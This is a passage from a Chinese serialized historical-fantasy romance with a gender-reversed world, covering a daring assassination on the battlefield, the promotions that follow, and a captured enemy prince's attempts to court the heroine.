左隋之本来以为她们在闲聊开玩笑,结果眼看着三人越说越认真,不由急道:“不行!绝对不行!就算你们能上去,就算你们能冲到萧承英面前,还是要面对数千甲士,得手的机会微乎其微。先不说能不能得手,我就问问,你们预备怎么撤出来?” 陆锦澜道:“这取决于我们能否得手,如果刺杀成功,敌军大乱,我们从正面就可以冲回来。” 左隋之担忧道:“那如果没得手呢?” 陆锦澜一笑,“那也自然有办法回来,我能让她俩送死吗?” 三人说干就干,立刻动身往峭壁方向去。 左隋之追着苦劝:“如果能这么干,元帅早就这么做了。” 陆锦澜笑道:“那可不好说,就算她想这么做,上哪找我们三个这样身手好又不怕死的生面孔?” 左隋之眉头紧锁,“可你们万一出事了,怎么办?” 陆锦澜心道:我是主角,我能死吗? 她告诉左隋之:“不必担心,一会你帮我们把马匹牵回去,等着我们的好消息。” 她们在山路上绕了七八里,终于到了敌军后方。 三人纷纷下马,背着兵器,一个接一个攀上了峭壁。 攀爬到一半,便听到战鼓急如雷鸣,瞬间杀声震天。 晏无辛感到脊背瞬间出了一层冷汗,轻声道:“两军开始交战了。” 项如蓁道:“交战之时,大家的眼睛都盯着前面,正好有利于我们绕后。” 晏无辛又问:“锦澜,你刚刚说如果没得手,也能有办法回来,是什么办法?” 陆锦澜道:“办法就是我掩护,你俩原路返回。” 二人不由一愣,停下动作问:“那你呢?” 陆锦澜一笑,“我当然稍后返回啊,难道我还能死在那儿啊?你们得相信我是天降福星,牢牢的把心放在肚子里。” 不多时,三人爬上了峭壁。萧承英的战车就在不远处,身边大约有三千来人,都背对着她们。左隋之说得没错,直接杀过去,确实很难得手。 陆锦澜想了一下,低声道:“我有一计,需要咱们兵分三路。” 晏无辛顿时愣住,“咱们就三个人,还得兵分三路?” 陆锦澜道:“如果有四个人也是分兵三路,可惜这里没有第四个人。” 她捡了个石子在石头上画了个简图,“你们靠过来,我详细说。” * 与此同时,楚易舒、孙乐闻、吴琼梦等同级学子正在宋家军队伍中紧盯着令旗。 她们被临时任命为千妇长,身后各自带着千人的队伍,等待冲锋。 虽然大家在学院里天天都推演兵法战术,日日都修习骑射武功,可第一次身处战场,还是不由得一阵阵冒冷汗。 楚易舒坐在马上仔细得调整了下盔甲,低声道:“我知道我平时有点目中无人,不好相处,有做得不对的地方,我在这儿给两位姐妹赔罪。但咱们好歹一个宿舍住了大半年,一会儿打起来,别忘了互相照应。” 孙乐闻笑道:“我还没讨厌谁,讨厌到希望她死的程度。放心吧,打完今天这一仗,咱们就是战友了,也算 生死之交,过去那些鸡毛蒜皮的破事,一笔勾销。” 吴琼梦提醒道:“旗官指向咱们这部了,走,咱们杀入阵中。” 战场真残酷啊,明明大家互相不认识,一照面就要以命相搏。 楚易舒紧握着手中的长枪,丝毫不敢大意,更不敢手软。浓烈的血腥味刺入鼻腔,让她几欲作呕。但她只能咬着牙,不停的厮杀。 大家都在拼命,包括敌人。楚易舒的战马被垂死的敌军砍断了腿,她随之跌落马下,一转头地上都是断了气的尸首。 孙乐闻连忙带人围了过来,阻止敌军的进一步攻击。 楚易舒连忙起身,上了匹无人的战马,继续作战。此刻她能清晰的感受到,生死就在瞬息之间。 楚易舒与孙乐闻背靠背,斩完一波敌军,刚深吸一口气,下一波敌军又冲了上来。 厮杀之中,楚易舒忽然咬牙道:“我真羡慕!” 孙乐闻闷声砍下两颗脑袋,扯着嗓子问:“羡慕什么?” “羡慕不用来的,锦澜、无辛、如蓁、晏钰。她们现在一定在京城喝酒听曲,说不定怀里还抱着男人。” 孙乐闻咬牙道:“先别惦记了,等咱们打赢了这场仗,我送你两个男人。” 楚易舒哭笑不得,“咱们要是能平安回京,我送你四个!” 没有人不盼着胜利,但是看着黑压压的敌军,多得让人绝望,仿佛这辈子都杀不完。如果能活到天黑收兵,就算是交了大运。 就在众人疲惫绝望之时,敌军忽然大乱。众人正诧异着,忽见岳蝉带着元帅亲卫朝着敌军猛冲过去,口中高喊:“随我冲阵,接应陆锦澜!” 楚易舒不得不怀疑自己的耳朵,“她说接应谁?” 第77章 一刻钟前,曲国阵后涌入一名披挂金鳞甲身穿白袍的小将。 她手中高举着一个布包,大喊着:“丰都急报!我要见皇储!” 外围的小兵不敢拦阻,那人畅通无阻的到了萧承英附近。 皇储身边的侍卫长略感有异,挡在驾前,疑道:“我看你眼生得很,是谁派你来的?” 白袍小将忙道:“事情紧急,殿下看过我手中的消息便知道了。” 侍卫长眉头一皱,“你这个口音……” 说话间白袍小将已经打开了布包,只见寒光一闪,侍卫长连忙大喊一声:“护驾!” 来人甩手将短刀朝战车掷了过去,萧承英不慌不忙侧身一躲,短刀噹的一声刺入她身后的木板。 白袍小将眼看不成,毫不恋战,立即向后一跃,夺过一匹战马便要逃走。 侍卫长立刻带了一支小队追了上去,附近的兵将随之而动,迅速将白袍小将包围其中。 那人手执长刀奋力相抗,数百兵勇一时竟不得近身。混乱中,侍卫长夺过一把弓弩,射向她身下坐骑。 那人果然瞬间落马,侍卫长喜道:“一起上!” 话音未落,忽听得身后一阵哀嚎,侍卫长转身一看,又一个生面孔冲入阵中。 她身穿黑袍外披金甲手执银枪,以雷霆之势冲杀过来,一路上击飞数十兵勇。 侍卫长连忙上去迎战,却被那人一招击落马下。 “无辛,上马!” 晏无辛立刻抓住项如蓁的手,二人共乘一骑,向远处厮杀。 萧承英冷眼旁观,此刻已经站了起来。 “此人武功不俗,千万不能让她们跑了。你们过去帮忙,无论死活,务必将其擒下。” “是!”左右两队人马应声而出,朝着项晏二人冲杀过去。 场面一片混乱,四周嘈杂,以至于谁也没留意一匹战马趁乱跑了过来。 萧承英站在战车上,敏锐的直觉让她察觉到危险的逼进。 可是危险在哪里呢?那两个来历不明的刺客明明离她越来越远。 她将目光望向四周,捕捉到了那匹无人的战马。她起初不以为意,毕竟没有哪个战将在沙场上被战马撞死的先例。 直到战马到了近处,一位红袍小将从马腹下翻身而上,敏捷地踩着马背跃上战车,眨眼间便朝她扑杀过来。 周围数百甲士庇护不及,萧承英反手握住身边的三尖两刃戟,格开她手中的利剑,却中了一记力道十足的窝心脚。 身体瞬间失重,嘭的一声撞到身后的木架上,木架随之碎裂。萧承英不可置信的瞪大了眼睛,她还从未感受到如此强大的攻击力,嬅国有这样功力深厚的年轻高手吗?怎么一点都没听说? 她来不及细想,剑招又至,萧承英全力躲闪,还是被剑锋扫到了头冠。当碎发纷纷扬扬落下,萧承英确信她遭遇了此生最大的劲敌,生死悬于一线。 当下顾不得胸口钝痛喉间腥甜,便握紧兵器死命相抗。 高手过招,身型招数快如闪电,旁边一干人等有心帮忙,却根本插不上手。数十人举着箭,迟迟不敢射出。 两人离得太近,频频切换身位,连喘息的空隙都不给。 萧承英越打越心惊,对方每一招都蕴含着极大的力量,仿佛泰山压顶一般。让她每接一下,都感到双臂发麻。三招一过,连对方的拳脚都不敢接,只得在狭小的战车上拼命躲闪。 然而对方力道不减,一招招如腕挟风雷摧枯拉朽,拳脚兵器打到车上好似劈山砍柴一般,嘁哩喀嚓将四周的物事击碎。一时战车受损木屑翻飞,受惊的马拉着战车没头苍蝇似的乱跑。 萧承英转身要跳下车,被那人扯住手腕大力的拽了回来,剑随之刺了过来。 萧承英奋力一挣,试图躲开刺向心口的一剑,然而锋利的剑刃却还是穿透她的肩胛骨,鲜血顿时喷涌而出。 “殿下!” 四名忠诚的亲卫明知不敌还是跃上马车,陆锦澜不得不拔剑解决四人。 萧承英趁机捂着伤口仓惶后退数步,从马车上跌落下去。 箭立刻和雨点一样密集得射了过来,战车马匹中箭,疯了似的狂奔。 陆锦澜转头一看,已经有一拨人一拥而上将萧承英抬走。她当即一脚踹断萧字大旗,用旗杆随便从地上挑了个血葫芦似的脑袋,高举着大喊:“萧承英已死,速速投降!” 曲国将士正背对着后阵厮杀,猛听得后方大乱,回头一看皇储的战车上站着敌人,举着血淋淋的人头,根本来不及分辨真假。 侍卫长迷迷糊糊爬起来,听说皇储已死,拾起兵刃呐喊着:“为皇储报仇!” 旁边的人连忙拉住她,“先办国丧要紧。” 军心一乱,这仗根本没法打了。主将“身亡”,指挥官没了,前方战将自行做主,“撤军!快撤军!” * 左隋之报信,宋婧骁才知道陆锦澜如此大胆,竟然敢带着两个朋友去刺杀敌军主将。 她忙命岳蝉带上她的卫队前去接应,同时指挥大军不顾一切的向前压。 可岳蝉冲过去的时候,才发现曲军根本无心恋战,纷纷丢盔弃甲疲于奔命。 陆锦澜站在疯跑的战车上,扯着嗓子喊了一路,“萧承英已死,速速投降!” 遭遇到的曲军连拦她一下的意思都没有,只顾着埋头赶路速速回营。 直到看见大批的宋家军,陆锦澜才一跃从马车上跳下来,捏着嘶哑的嗓子咳了两声,“有水没有?” 项如蓁和晏无辛随后杀到,三人换了马匹,直奔中军大营。 这一仗,曲军大败。 三人进到帐中,才得知宋婧骁亲自率部追击 ,还未回来。 先回来的前阵将领有十几位,在帐中按官职大小分列两排而立,正在激情复盘这一战。 三人愣眉愣眼的瞅了瞅,没一个认识的,岳蝉不在,也没人能给她们引荐。 没人注意到她们,三人也只好悄咪咪的站到末尾,等着宋婧骁回来。 直到有将军说:“萧承英已死,我看我们应该抓住时机立刻进军,趁着曲军军心不稳,趁机拔下赤州城。” 陆锦澜忍不住出言提醒,“那个……萧承英可能没死。” 众将闻声送目过来,只见三个少年人站在队尾,一身血污,全是生面孔。 其中一个还抱着刀倚在门口,好似睡着了。 众人第一反应:这是京城来的那些学生?小小千妇长,怎的到主帅大帐里来了? 刚才说话的那位将军见她们颇为疲惫的样子,倒没急着出言责怪,只是问道:“你怎么知道萧承英没死?她的人头被一位少年将军斩下,曲军都忙着回去治丧,你没看见吗?” 陆锦澜不由笑道:“我就是那位少年,可那人头不是萧承英的。” “什……什么?那你是……” “哦,在下陆锦澜,见过各位将军。这是和我一同刺杀萧承英的两位朋友,项如蓁和晏无辛。” 项如蓁将疲惫至极的晏无辛拉起来,“见过各位将军。” 众人惊骇,不可置信道:“你叫陆锦澜?是大帅的儿主吗?” 陆锦澜点了点头,忽听得帐外传来朗声大笑。 宋婧骁大步进入帐中,众人纷纷俯首,“大帅。” 宋婧骁笑容满面的抬了抬手,拍了拍陆锦澜的肩膀,“澜儿,多亏了你的妙计。这是自我军和曲军开战以来,打下的最大的大胜仗。” 陆锦澜忙道:“可惜我那一剑未能刺中要害,萧承英虽然受了重伤,未必真就这么死了。” 宋婧骁笑道:“不重要,不管她死不死,曲军这一仗都是大败特败,士气短期内很难恢复。你真是一员福将,一来就给我带来这么大的惊喜。” 宋婧骁说着又看向项如蓁和晏无辛,“你们怎么样?受伤没有?” 二人连忙摇头,宋婧骁对众将道:“看见没有?果然是英雌出少年,数十万大军中刺杀敌军主将,还能全身而退。诸位,后生可畏啊!” 众人连声恭贺,不一会儿好消息接二连三送到。 “禀大帅,曲军撤军五十里,已经龟缩进曲国边城的赤州城内,高挂免战牌。” 宋婧骁道:“速拟战报,八百里加急,速将捷报送到御前。” “禀大帅,经初步清点,此战我军俘虏敌军三万余人,缴获军马一万两千余匹,粮草三十万担。另有营帐、战车等辎重,数千。” 宋婧骁笑着点头,看向陆锦澜她们,“此役,你们三人应记一大功。本帅暂封你等为我帐下参将,待我向圣上请旨后,再行封赏。” 三人眼睛一亮,“多谢大帅!” 三人舒心的松了口气,总算没有白忙活。 宋婧骁很快下令,大军向前三十里扎营,虎视赤州城。 陆锦澜回到为她安排的帐内,终于可以解下盔甲,好好歇一歇了。 门外有人唤道:“陆将军,属下来给您送些用具。” “进来。” 来人放下东西,却没有急着走,反而笑问:“将军还认识我吗?” 陆锦澜端详着看了看她,来人二十来岁,身型魁梧,面色憨厚,确实有点脸熟。 陆锦澜想了想,“你姓孔?” 那人笑道:“将军好记性,小的名叫孔鸾。” 陆锦澜喜道:“你是十三中意的那位百妇长?” 孔鸾笑了笑,“属下上月刚刚升了千妇长,十三他……他已经成了我的夫郎,如今有孕三个月了。他时常念叨起他七哥和将军您对他的照顾,我们妻夫俩同感恩德,请将军受我一拜。” 陆锦澜忙将她扶了起来,“你比我年长,从七郎那论,咱们算亲戚,不必如此客气。想不到十三悄悄嫁了人,竟然也不和我们说一声。” 孔鸾尴尬道:“我和十三都不识字,他前些日子说等胎象稳固,便托人写封书信,给你们报喜。信已经寄出了,想必那时您恰好离开京城,没能看到。” 陆锦澜笑了笑,孔鸾又道:“十三正在灵州城中,今日将军在阵前大显神威,恐怕没多久消息便会从这儿传到灵州、传到京城,很快便会无人不知无人不晓。我们宋家军后继有您,大伙都高兴极了。” 此战之后,三人都凭借奇功在军中有了姓名。而陆锦澜更是凭借特殊的身份,在宋家军中积攒了威望。 虽然皇上的封赏还没到,陆锦澜还只是一个参将,但人人都知道她便是将来的军中之主。不论大小将领,对她都是礼敬有加。 三日后,陆锦澜等人随宋婧骁到关前叫阵。 曲军坚守不出,晏无辛眼尖道:“赤州城楼上怎么多了个戴面具的人?” 项如蓁接过望远镜看了一眼,城楼上除了之前见过的几位将领,果然多了个一身青衣带着玄铁面具的神秘人。 项如蓁道:“是她们曲国丰都派来的增援吧?许是什么猛将,特意戴着面具,趁咱们不知根底,发起奇袭。” 陆锦澜没有吭声,因为她能感觉到那人藏在面具后,死死的盯着她。直觉告诉她,那不是什么猛将,而是个男人。 曲军死守不出,宋婧骁并未悍然攻城。而是带大军回营,另行商议。 当晚,陆锦澜躺在床上,莫名有些辗转反侧。 一个男人,到前线来干什么? 她正迷糊的想着,外面忽然传来一阵骚乱,“有人夜探军营!”—— 作者有话说:来晚了,有点卡文。噔噔噔,新宠已送达。 第78章 陆锦澜火速冲了出去,“人呢?” 恰逢孔鸾值夜,忙回道:“禀将军,只是一个六人的小队前来探营,被我们发现立即逃跑,项晏二位将军已经追出去了。” 陆锦澜生怕有埋伏,打了个呼哨,她的汗血宝马立刻飞奔而至。陆锦澜飞身上马,果断跟了上去。 眼看着项如蓁就快追上了,队尾那人忽然甩出长鞭,试图阻止她们继续追击。 项如蓁眼疾手快,侧身一躲,反手抓住鞭绳,用力一扥,马上的人来不及松手,立刻被拉下马,被拖行了数十步。 那人失了马匹,没了武器又掉了队,转身便要往林中跑。 晏无辛定睛一看,此人戴着面具,正是城楼上的神秘人。 她不禁一笑,“这点功夫还来夜探军营?交给我,我看看这厮面具下面到底长什么样。” 陆锦澜赶到时,晏无辛正玩性大发,手执一把短刀,将那人逼得连连后退。 晏无辛倒没想立刻取其性命,她点住那人穴位,戏谑般的围着那人耍了套花刀。 那人绝望地闭上眼睛,锋利的冷刃在其身上一刀刀划下,细碎的衣碎如雪片般掉落。 末了晏无辛用刀尖挑开那人的面具,哐啷一声,玄铁面具应声落地,露出一张刀削斧凿般深邃立体的脸庞。 那人有一张标准的异域相貌,眉骨高如山峦,眼窝深陷如谷,浓密纤长的睫毛此刻低垂着,微微颤抖。鼻梁笔直高挺,下颚线条清晰而凌厉,宛如一件完美的艺术品。 晏无辛不觉看愣了,项如蓁瞥了眼那人平坦的胸口,忍不住出声提醒:“他是个男人。” “男人?”晏无辛诧异地扫了眼他的上身,男人的衣衫刚刚被她划得七零八落,几乎衣不蔽体。 晏无辛连忙后退几步,尴尬极了。 她发誓她根本没想过对方是个男人,这里是战场,谁能想到战场上会有男人呢? 她还以为是个没什么本事却以为是的家伙,所以存心戏弄。但他是个男人,不知道的还以为她恃强凌弱,故意欺负人。 沉默间,陆锦澜已经快步从马上下来,她解下身上的披风系在男人身上,顺手解了他的穴道。 这人她认识,萧衡,那位在她婚礼上吵着要嫁给她的曲国小公子。 她不知道他为什么会出现在这儿,此刻也不想问,只道:“这不是你一个男人该来的地方,遇到我们算你运气好,饶你一命,回家去吧。” 萧衡双手紧紧拽着身上的披风,将自己裹紧,眼眸低垂,眼眶有些发红。 晏无辛干笑了两声,“哈哈,我说的呢。咱们娘们儿在意什么美丑?还戴个面具。原来是位小公子啊!不好意思,并非有意轻薄。” 项如蓁也道:“我军不杀老幼夫孺 ,你走吧。” 三人起身上马,萧衡忽道:“等一下!” 他快步跑到陆锦澜马前,抓住她的缰绳,低声道:“我是你的俘虏,你应该把我带走。” 陆锦澜笑着摇了摇头,“我军营里有数万曲国俘虏,可没有一个是男人。我把你带走,应该把你关在哪儿呢?” 萧衡垂下眼眸,“哪儿都行,我是……是曲国皇帝的儿子,你可以用我去要求和谈。” 陆锦澜沉吟片刻,不以为然道:“现在赢面在我们这边,要和谈也是你国求着我方和谈。我陆锦澜如果想要和谈,用得着绑架一个男人做条件吗?” 萧衡万万想不到她如此高高在上冷酷无情,气恼道:“母皇和皇姐都很宠我,你用我换些金银马匹粮草辎重,总没有坏处吧?” 陆锦澜皱着眉看向远处,无奈地叹了口气,“这可是你求着我把你抓走的,吃了苦头不要抱怨。” 她朝他伸出手,“上马。” 萧衡连忙握住她的手,坐在她身后,抓住了她的衣衫。 项如蓁刚要催马跟上,晏无辛忽然拉住了她,“我有点想不明白,你帮我想想。” “想什么?” 晏无辛道:“这人是咱俩追上的吧?不算你的俘虏,也该算是我的俘虏吧?他怎么说他是锦澜的俘虏?” 项如蓁一笑,“这要怪你啊。” “怪我?” “谁让你只会剥衣服,不会披衣服呢?不会怜香惜玉,还想人家曲国的小郎主追着你,给你当俘虏?” 晏无辛咬了咬牙,无言以对。 陆锦澜带着萧衡回到大营,孔鸾看到她带了个男人回来,不由得一愣。 “陆将军,这是……” “俘虏,曲国的小郎主。把他好生关起来,待明早我回过大帅后,再行定夺。” “是。”孔鸾忙命人拿来手铐,将人带下去。 当冰冷沉重的铁铐扣在腕上,萧衡再也无法抓紧身上的披风,浓烈的恐惧感瞬间袭来。 他穿着破碎的衣衫行走在敌国的军营里,感觉自己是只待宰的羔羊。 所有人的眼睛都在盯着他,那种鄙夷的、戏谑的、嘲讽的、窥探的凝视,让他感到一阵阵心慌,头皮发麻。 两旁的士兵粗鲁地拉扯着他,他忍着疼一步步向前走,绝望地想:她们大约要把我送去地狱。 “等一下!”陆锦澜的声音仿佛是救赎的佛铃,及时响起,“把他关到我的帐中。” 孔鸾迟疑了一下,“是,将军。” 萧衡狠狠地松了口气,卫兵将他押到了陆锦澜的帐中。 孔鸾有些不放心,“将军,要不要派两个卫兵看着他?好让您安心休息。” “不用。”陆锦澜朝她伸出手,“钥匙。” 孔鸾惊道:“万一他对您不利……” 陆锦澜道:“一个小公子而已,伤不了我。” 见她如此说,孔鸾只好交出钥匙,“将军小心,我等在帐外守着。” 陆锦澜亲手帮他解开手铐,转身又出去了。 萧衡独自在帐中,摸出针线包,开始缝补身上可怜的衣服。 一边补一边暗骂:这个晏无辛真是坏透了,将好好的衣服划成这样,这还怎么穿? 一包针线都快用完了,身上还有一大半的窟窿。 他正发愁,陆锦澜掀开帘子进来,“不用补了,我让她们给你找了件洗衣大叔的衣服,是干净的,拿去穿。” 萧衡心头一暖,“多谢。” 他抱着衣服,到屏风后面去换。忽然想起和陆锦澜初次相见的时候,也是这般场景。 只不过这次,她背对着他,坐在案前看书,没有猝不及防地将他抱在怀里。 萧衡看了看那件衣衫,虽然衣料很粗糙,但有股浣洗暴晒过后的味道,很是好闻。 他飞快地换好,局促地站在帐中,茫然无措。 陆锦澜没有回头,随手指了指一旁的卧榻,“你在榻上睡吧。” 萧衡躺上去,身上盖的还是她那件披风。 陆锦澜很快熄了灯,躺到床上,仿佛很快就要睡着。 萧衡几次想要开口说点什么,最终都没能说出口,只好独自在榻上辗转反侧。 黑暗中的响动格外清晰,陆锦澜微微皱眉,“不用担心,明早我会禀明大帅,她行事向来光明磊落是非分明,不会为难你一个男人的,你很快就可以回去。” 萧衡想了想,却道:“我不急着回去。” 陆锦澜一笑,“怎么?你当俘虏当上瘾了?” 萧衡没有回答,陆锦澜又问:“和谈,是你的意思还是萧承英的意思?” “是我想和谈,皇姐她……还在犹豫。” “哦,所以你宁愿以这种方式来到我方大营,是想试图说服我?” 萧衡抿了抿唇,“我听说宋大帅很重视你,你是她的儿主,也是她的心腹,更是宋家军未来的主帅。如果你建议她和谈,她一定会考虑的,是不是?” “是,但我不会提这个建议。” “为什么?” 陆锦澜深吸一口气,“国家大事很复杂,跟你说不明白。就像你皇姐犹豫着要不要和谈,她一定有她犹豫的原因。我不想和谈,也有不想的原因。对了,你皇姐伤势如何?” 萧衡无奈道:“流了很多血,吓得我心惊胆战,但总算保住了性命。” “她一定很恨我吧?” “没有,她醒了之后对你赞不绝口,夸你很有本事。她说,她从未遇到过这么可怕的敌人。我说我想嫁给你,她还说我看女人的眼光不错。唉,不过她现在一定在骂我。不让我来,我偏要来,然后就沦为俘虏了。” 萧衡自言自语,越说越懊恼。 陆锦澜暗觉好笑,“那你非要跟着我回来,到底是想和谈,还是想嫁给我?” 萧衡咬了咬牙,恨恨的回答:“都想。” 陆锦澜冷哼一声,“你都别想。” “为什么?”萧衡气得在黑暗中坐了起来。 陆锦澜道:“这场战争已经打了大半年,涉及了三个国家,数百万将士在战场上抛头颅洒热血,死伤无数,都未能换来和平,你以为凭着你一个小小的男人可以解决一切冲突吗?” “我告诉你,不能。战争既非男人发起,也没有男人参与,绝不会因为男人而终止。天下一切都由女人主宰,胜负成败,其实和你们男人没有关系。” “功劳,当然不属于你。不过你国史官无能的话,倒是可能会把罪过推给你。” “不要以为你献祭了自己,就能换来什么,那只是你天真的一厢情愿的想法。” 萧衡沉默良久,忽道:“好,我承认国家大事是你们女人之间的事,我浅薄,我不懂。现在开始,我不再和你说和谈的事,我和你说嫁给你的事。” 他气愤道:“你凭什么让我不要想?你就这么瞧不起我?我的相貌,难道输给你那几个男人?” 话题陡然从沉重转向荒谬,陆锦澜轻笑出声,“你的相貌是不输给我那几个男人,坦白的说,你还要略胜两分。但我总不能,把全天下相貌卓绝的男人都娶回家吧?” “那我输在哪里?你今天必须给我个说法。” 陆锦澜打了个哈欠,“我困了,睡了。” 萧衡不依不饶道:“不行,你把话说清楚,你到底为什么不喜欢我?” 见陆锦澜不吭声,他干脆起身走到床边推了推她,“你说,我到底哪点不如他们?” 陆锦澜叹了口气,“好好好,我告诉你。 第一,我的正夫贤惠聪明识大体。如果他是你,一定不会贸然闯到敌营来,还说一堆蠢话;” “第二,我的雅侍雨眠温柔体贴,如果我说我困了要睡觉,他会立刻给我铺床拿枕头,一定不会像你这样纠缠不休;” “第三,我的应子七郎纯情可人,他是不会像你这样,大晚上跑到一个陌生女人的床上,你不知道女男有别吗?” 萧衡越听越气,“你懂什么?我们曲国的男人,才不像你们嬅国男人那么扭捏。我喜欢你,亲近你有什么错?你怎么可以这么说我?难道他们样样都好,我什么都比不过他们?” 陆锦澜认真道:“也不能这么说,在刁蛮任性胡搅蛮缠这一点,他们一定比不过你。” 萧衡气得七窍生烟,“我不信!” 他说着就爬上了床,陆锦澜吓了一跳,一把抓住他的手腕,“你想干什么?” 萧衡气道:“你根本就不了解我,如果你了解我,就不会不喜欢我。” “了解就了解,你上床干什么?” “我要成为你的人,再让你慢慢了解我。” 他说着就开始脱衣服,陆锦澜连忙抓住他的手,“你们曲国真是民风彪悍,萧衡,我警告你,不要乱来!” 萧衡:“我不管,我不信过了今晚,你还觉得我无一可取之处。” 陆锦澜见他如此执拗,干脆一个手刀,将他打晕,将他往旁边推了推。懒得给他穿上衣服,丢过去一个毯子给他盖上。 陆锦澜再度躺下,总算睡了个安稳觉。 天刚大亮,项如蓁、晏无辛、楚易舒、孙乐闻等十几个同窗说说笑笑的来到陆锦澜帐中。 “陆将军,我们来给你报喜了,今天你得请客。” 晏无辛说着掀开了床帏,看着床上刚刚睁眼的陆锦澜和她旁边打着赤膊的男人,大家顿时傻了眼。 陆锦澜眼前一黑,无奈地叹了口气,“情况不是你们想的那样。” 话音未落,帐外有人道:“陆将军,大帅有请。” 第79章 众人红着脸退到帐外,陆锦澜起身更衣。 萧衡裹着被子坐在床头,颇为尴尬,“要不要我帮你解释一下?” 陆锦澜扫了他一眼,“用不着,不过你要想为你自己解释,随便你,赶紧把衣服穿上。” 萧衡抿了抿唇,嘀咕道:“反正我早晚都是你的人,我有什么可解释的?” 陆锦澜瞪了他一眼,没再说话。 外面的人都在帐外各自尴尬,隔着帐门与陆锦澜交谈。 项如蓁:“锦澜,朝廷的敕封下来了,圣上封你为镇北将军。” 晏无辛笑道:“锦澜,你这镇北将军可是正三品的重号将军,一般的杂号将军可没法跟你比。这等喜事,你快想想咱们怎么庆祝。” 嬅朝将军序列严谨,只有重号将军是常设将军。 重号将军共有十六位,排在第一位的便是正一品大将军——虎嫖将军宋婧骁。 余下还有二品嫖骑将军、车骑将军、卫将军,从二品四方将军,即前将军、后将军、左将军、右将军。 三品将军为四征四镇将军,即征东、征西、征南、征北、镇东、镇西、镇南、镇北。 楚易舒羡慕道:“咱们嬅国能封上重号将军的,个个都是战功赫赫功勋卓著。你陆锦澜十七岁就获封此衔,乃是旷古烁今第一人!哎呀,真是好命啊。” 孙乐闻瞥了她一眼,“羡慕啊?下回你去给萧承英身上捅个窟窿,也捞个将军当当。” 说话间陆锦澜穿戴整齐,洗了把脸,出来问项晏二人:“你们呢?” 项如蓁道:“圣上封我为平虏将军,无辛为破虏将军。” 晏无辛道:“虽然我俩只是四品杂号将军,多半过了战时就要被撤掉,但我还是觉得倍感荣光。圣旨上夸咱们是英勇作战立下大功,咱也算狠狠露了回脸。将来回到京城,我看我娘还有什么可说的。” 陆锦澜笑了笑,“好啊,一会咱们一起庆祝。” 陆锦澜说着便往帅帐走,晏无辛追上来拉住她,往她帐篷里使了个眼色,“你可别忘了大帅还是你岳母,你怎么在她的军中和男人滚到一张床上了?” 陆锦澜无奈道:“说来话长,这位小郎主叫萧衡,和我有过两面之缘。昨天他非要跟着回来,我想我军虽然治军严明,不会发生太恶劣的事,但他少不得要被占些便宜,我就把他带回自己帐中。” “至于,别的……我说我根本没睡他,你信吗?” 晏无辛眼睛一亮,“我信!没睡好啊,睡了反倒给你添麻烦,曲国那边、你岳母那边都是事儿。你既然没睡他,不如把他换个地方安置,关到我帐中,如何?” 陆锦澜笑了笑,抬眸看向她,“你不是喜欢小鸟依人的吗?萧衡似乎并不符合你的审美。” 晏无辛嘿嘿一笑,“审美又不是一成不变的,我还没有收过曲国小郎呢。再说这破地方,连蚊子都是母的。好不容易有个貌美的男人,还挑什么?” 陆锦澜笑着白了她一眼,“我先去见过大帅,回来再说。” * 陆锦澜走到帅帐外,刚要进去,忽听里面的人提到了她。 “有件关于陆将军的事,想禀明大帅。” 陆锦澜脚步一滞,收回掀帘子的手,决定略等一等。 两旁值守的亲卫犹豫着要不要通禀,互相对视一眼,没敢吭声。 说到底,这是人家自家人的事儿,旁人掺和讨不到好。 陆锦澜听宋婧骁问:“什么事?” 军师闻霁道:“昨晚有人探营,三位小将军追出营地,抓了个男人回来。” “男人?抓个男人有什么用?” “说是曲国的小郎主,这人昨晚就宿在陆将军帐中。” 宋婧骁会心一笑,“哦,原来你想说这个。澜儿虽然年轻,但做事有分寸,这么做自然有她的道理。” “退一万步说,真有什么也不值一提。一个玩物而已,行军打仗枯燥乏味,少年人又血气方刚,找个男人解解乏也没什么。” “你我都是过来人,不必大惊小怪的。” 陆锦澜听到这儿勾了勾嘴角,高声道:“母帅,孩儿求见。” 宋婧骁:“进来。” 陆锦澜大步进去,“军师也在啊?正巧有件事要一同请教母帅和军师。” “昨夜我们抓到了前来探营的曲国小郎主,我看可以用他换些马匹钱粮,也不知道要多少合适。劳烦军师斟酌数目,再拟封信,我派人射到赤州城内。母帅若没有别的安排,等东西一到,我便将萧衡放回去了。” 宋婧骁点头道:“我没什么安排,东西到不到,人该放也得放。大女人顶天立地,无需为难他一个小小的男儿家。你现在是镇北将军,这种小事自己做主就好,不必问我。” 宋婧骁说着将圣旨递给她,陆锦澜忙道:“母帅说的是。” 闻霁在一旁草拟书信,宋婧骁招呼陆锦澜坐下,“我找你来,是想让你看过圣旨,谈谈对当前局势的看法。” 陆锦澜诧异道:“圣旨上说,我即日起可提调囚龙关五万大军,这是什么意思?” 宋婧骁将京城送来的镇北将军金印推到陆锦澜面前,笑问:“你说是什么意思?” “圣上给我五万兵马,可这……这五万兵马是凌家军啊!凌家军皇上自己都使唤不动,她交给我?跟没交有什么区别?不就是给我一个名头吗?到时候人家该不听我的,还是不听我。该不服我的,还是不服我。” 宋婧骁道:“没错,皇上把烫手的山芋丢给你,让你凭本事去取,取到了算你的,取不到大概也在她意料之中。” 陆锦澜叹了口气,“如果不是战时,我可以想方设法慢慢收服这五万人。可现在在打仗,短时间内让跟我有仇的凌家军随我卖命,几乎是不可能的事。” “而且,不知道是不是我多想。我总觉得这场仗,打得很不对劲。” “曲国之前是与我们交好的国家,突然一反常态,和姜国同时犯境,明显是商量好的。她们形成了联盟,但比两国联盟更可怕的是凌家军的一场场败仗。” “虽然我没有任何证据,但我真的怀疑定北侯有通敌之嫌。否则凭她的四十万兵马,何至于输成这样?” 宋婧骁眼含笑意看向闻霁,骄傲道:“怎么样?咱们的镇北将军虽然年纪小,但算得上颇有见识吧?” 闻霁拱手道:“陆将军有大帅年轻时的风范,让老妇大开眼界。陆将军说得都对,也幸亏大帅有远见卓识,提前把归到咱们手里的十万凌家军,从北州大营调出来,和宋家军融合到一处。不然今天的败兵恐怕不止四十万,而是五十万。” 宋婧骁叹了口气,对陆锦澜道:“不是你多想,你怀疑的也是我怀疑的。我想,皇上也有此怀疑。不然她为何急匆匆的把皇家学院的学生都拉到战场上来?补充军官只是表面意图,其中还有深意,你不妨猜一猜。” 闻霁忙道:“大帅,你这题太难了。若没有像您这般了解皇上的人,是想不到的。似我等这些专研时局的人,都看不透圣上的意图。陆将军还是个少年学生,她连陛下都未见过,如何能猜到?” 宋婧骁摇头,“让她试着想想,又没有坏处。” “深意?”陆锦澜喃喃道:“我的这些同窗、学长,有一半都是世家之女官员之后,把她们送上战场,对皇上或者局势能有什么深意呢?何况,一旦有人牺牲……” 